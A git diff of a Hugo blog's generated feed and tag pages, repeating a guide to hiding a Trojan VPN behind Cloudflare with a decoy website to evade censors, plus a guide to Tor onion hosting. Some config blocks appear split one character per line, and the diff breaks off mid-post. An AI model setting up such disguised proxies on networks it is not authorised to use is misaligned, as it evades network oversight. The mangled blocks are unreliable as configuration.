magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/3x-ui/page/1/index.html b/public/tags/3x-ui/page/1/index.html new file mode 100644 index 0000000..fc521e8 --- /dev/null +++ b/public/tags/3x-ui/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/3x-ui/ + \ No newline at end of file diff --git a/public/tags/bypass/index.html b/public/tags/bypass/index.html new file mode 100644 index 0000000..93da9ca --- /dev/null +++ b/public/tags/bypass/index.html @@ -0,0 +1,14 @@ +Bypass | AlipourIm journeys +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/bypass/index.xml b/public/tags/bypass/index.xml new file mode 100644 index 0000000..58052c2 --- /dev/null +++ b/public/tags/bypass/index.xml @@ -0,0 +1,377 @@ +Bypass on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/Recent content in Bypass on AlipourIm journeysHugo -- 0.146.0enTue, 09 Sep 2025 11:05:00 +0200Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    \ No newline at end of file diff --git a/public/tags/bypass/page/1/index.html b/public/tags/bypass/page/1/index.html new file mode 100644 index 0000000..69f11b8 --- /dev/null +++ b/public/tags/bypass/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/bypass/ + \ No newline at end of file diff --git a/public/tags/cloudflare/index.html b/public/tags/cloudflare/index.html new file mode 100644 index 0000000..8e33a65 --- /dev/null +++ b/public/tags/cloudflare/index.html @@ -0,0 +1,19 @@ +Cloudflare | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/tags/cloudflare/index.xml b/public/tags/cloudflare/index.xml new file mode 100644 index 0000000..790a77c --- /dev/null +++ b/public/tags/cloudflare/index.xml @@ -0,0 +1,798 @@ +Cloudflare on AlipourIm journeyshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/cloudflare/Recent content in Cloudflare on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
